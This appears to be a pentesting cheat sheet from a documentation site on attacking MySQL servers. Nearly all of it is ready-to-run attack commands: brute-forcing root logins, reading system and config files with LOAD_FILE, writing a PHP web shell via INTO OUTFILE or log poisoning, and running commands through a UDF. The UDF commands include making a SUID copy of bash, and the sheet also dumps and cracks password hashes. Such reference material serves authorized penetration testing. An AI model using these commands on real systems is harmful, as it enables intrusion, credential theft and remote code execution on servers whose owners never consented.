Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Service Detection
nmap -sV -sC -p 3306 TARGET
Connect
mysql -h TARGET -u root
mysql -h TARGET -u root -p
mysql -h TARGET -u root -p'password'
Brute-Force
hydra -L users.txt -P passwords.txt mysql://TARGET
crackmapexec mysql TARGET -u root -p passwords.txt
Default: root / (blank).
Enumeration
SELECT version();
SELECT user();
SELECT current_user();
SHOW DATABASES;
SELECT user, host, authentication_string FROM mysql.user;
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
File Read
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('C:\\Windows\\win.ini');
Requires FILE privilege.
File Write (Web Shell)
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
Check restriction:
SHOW VARIABLES LIKE 'secure_file_priv';
Empty = write anywhere. Path = restricted to that dir.
UDF Command Execution
If FILE + INSERT privilege:
Linux
searchsploit mysql udf
# Use lib_mysqludf_sys.so
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
SELECT sys_exec('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash');
Windows
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.dll';
SELECT sys_exec('cmd /c whoami > C:\\Windows\\Temp\\output.txt');
Password Hashes
-- MySQL 5.7+
SELECT user, authentication_string FROM mysql.user;
-- Older
SELECT user, password FROM mysql.user;
Crack:
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt
Log Poisoning → RCE
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/shell.php';
SELECT '<?php system($_GET["cmd"]); ?>';
SET GLOBAL general_log = 'OFF';
Access: http://TARGET/shell.php?cmd=id
NSE Scripts
nmap -p 3306 --script mysql-info TARGET
nmap -p 3306 --script mysql-enum TARGET
nmap -p 3306 --script mysql-brute TARGET
nmap -p 3306 --script mysql-databases --script-args mysqluser=root,mysqlpass='' TARGET
Quick Reference
| Check | Command |
|---|
| Connect | mysql -h TARGET -u root |
| Read file | SELECT LOAD_FILE('/etc/passwd') |
| Write shell | SELECT "<?php..." INTO OUTFILE '/var/www/html/shell.php' |
| UDF RCE | CREATE FUNCTION sys_exec... |
| Dump hashes | SELECT user, authentication_string FROM mysql.user |